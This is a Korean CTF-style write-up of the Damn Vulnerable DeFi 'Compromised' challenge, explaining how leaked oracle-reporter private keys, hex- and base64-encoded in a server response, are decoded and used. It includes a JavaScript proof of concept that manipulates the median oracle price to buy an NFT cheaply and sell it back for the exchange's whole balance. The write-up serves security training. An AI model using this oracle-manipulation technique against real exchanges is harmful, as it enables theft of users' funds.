Damn Vulnerable DeFi-Compromised
DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.
Summary
오라클을 설정할 권한이 있는 계정의 private key가 누출되었다. 이를 이용하여 가격 오라클을 조작하고 NFT를 비싸게 판매할 수 있다.
Keyword
oracle, price manipulation, private key, theft
Vulnerability
While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. Here’s a snippet:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each. This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732…A105,0xe924…9D15 and 0x81A5…850c. Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.
0.1 ETH 에서 시작하여 Exchange에 있는 모든 토큰을 빼내야 한다. 문제에서는 Exchange, TrustfulOracle, TrustfulOracleInitializer 컨트랙트 코드를 제공한다. Exchange에서는 TrustfulOracle 에서 받아온 가격을 기준으로 NFT를 판매 또는 구입한다. 싼 가격으로 NFT를 구매한 뒤 비싼 가격으로 NFT를 판매하면 Exchange에서 많은 토큰을 얻을 수 있겠다. TrustfulOracle에 어떻게 가격 정보가 설정되는지가 관건으로 보인다.
function buyOne() external payable nonReentrant returns (uint256 id) {
if (msg.value == 0)
revert InvalidPayment();
// Price should be in [wei / NFT]
// @audit-info NFT 가격만큼의 ETH를 보내면 NFT를 민팅해준다. 가격은 오라클에서 받아온다. 세명의 오라클 소스가 제안한 가격 중 중간 값을 리턴한다.
uint256 price = oracle.getMedianPrice(token.symbol());
if (msg.value < price)
revert InvalidPayment();
// @audit-info 재진입 가능성?
id = token.safeMint(msg.sender);
unchecked {
// @note 중간값 이상 보낸것은 다시 돌려준다.
payable(msg.sender).sendValue(msg.value - price);
}
emit TokenBought(msg.sender, id, price);
}
// NFT를 판다.
function sellOne(uint256 id) external nonReentrant {
if (msg.sender != token.ownerOf(id))
revert SellerNotOwner(id);
if (token.getApproved(id) != address(this))
revert TransferNotApproved();
// Price should be in [wei / NFT]
// @audit-info 오라클에서 가져온 가격만큼 받을 수 있다. 서명의 오라클 소스가 제안한 가격 중 중간 값을 리턴한다.
uint256 price = oracle.getMedianPrice(token.symbol());
if (address(this).balance < price)
revert NotEnoughFunds();
// 판매된 NFT는 burn 된다.
token.transferFrom(msg.sender, address(this), id);
token.burn(id);
// price 만큼 전송한다.
payable(msg.sender).sendValue(price);
emit TokenSold(msg.sender, id, price);
}그렇다면 TrustfulOracle에 어떻게 가격 정보가 설정되는가? 오라클 값을 셋팅하는 postPrice 함수는 TrustfulOracle이 초기화될 때 등록된 TRUSTED_SOURCE_ROLE 로부터만 가능하다. 이들은 0xA73209FB1a42495120166736362A1DfA9F95A105, 0xe92401A4d3af5E446d93D11EEc806b1462b39D15, 0x81A5D6E50C214044bE44cA0CB057fe119097850c 이다.
// @audit-info 초기화시 셋팅된 TRUSTED_SOURCE_ROLE 만 가격 셋팅이 가능하다.
function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) {
_setPrice(msg.sender, symbol, newPrice);
}딱히 우회 방법은 보이지 않는다. 여기서 문제 설명에서 언급한 바이너리를 조사해보자.
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34바이트를 문자열로 변환하면 MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5 가 나온다.

88 바이트의알파벳, 숫자 조합이 어떤 값을 나타낼까? 구글링으로 조사해본 결과 SHA512결과를 base64로 인코딩했을 때 88 바이트가 나온다고 한다. 그렇다면 base64 디코딩을 해보자.

이를 디코딩하면 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9 가 나온다. 이는 굉장히 private key로 보인다. 메타마스크에 임포트 해보면 0xe92401A4d3af5E446d93D11EEc806b1462b39D15로, 오라클을 셋팅할 수 있는 TRUSTED_SOURCE_ROLE 의 계정이 임포트된다. 동일한 방법으로 두번째 바이너리도 임포트해보면 0x81A5D6E50C214044bE44cA0CB057fe119097850c 계정이 임포트된다. 즉, HTTP 로 두 계정의 private key가 암호화되지 않은 채로 전송되고 있던 것이다.
이 계정을 이용해 오라클을 조작해보자. Exchange는 오라클의 중간값을 이용하므로 이에 맞게 셋팅한다. 처음에는 가격을 낮춰 NFT를 저렴하게 구매하고, 이후 Exchange의 잔액을 전부 빼낼 수 있을만큼 가격을 조작하여 빼낸다.
다음은 PoC javascript 이다.
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const oracleSetter1 = new ethers.Wallet("0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9", ethers.provider);
const oracleSetter2 = new ethers.Wallet("0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48", ethers.provider);
// 가격 낮춤
await oracle.connect(oracleSetter1).postPrice('DVNFT', 0);
await oracle.connect(oracleSetter2).postPrice('DVNFT', 0);
// NFT 구매
await exchange.connect(player).buyOne({value: 1});
// 가격 높임
await oracle.connect(oracleSetter1).postPrice('DVNFT', EXCHANGE_INITIAL_ETH_BALANCE);
await oracle.connect(oracleSetter2).postPrice('DVNFT', EXCHANGE_INITIAL_ETH_BALANCE);
// NFT 판매
await nftToken.connect(player).approve(exchange.address, 0);
await exchange.connect(player).sellOne(0);
});Impact
가격 오라클을 조작하여 NFT를 비싸게 판매할 수 있다. 이를 통해 Exchange에 예치된 이더리움을 탈취할 수 있다.
Mitigation
HTTP로 암호화되지 않은 PK를 보내는 것이 문제다. 애초에 이런 일이 일어나지 않도록 PK를 전송하지 않거나, 최소한 암호화해서 전송한다.
tags: writeup, blockchain, solidity, smart contract, defi, nft, nft marketplace, crypto theft, oracle manipulation, price oracle, private key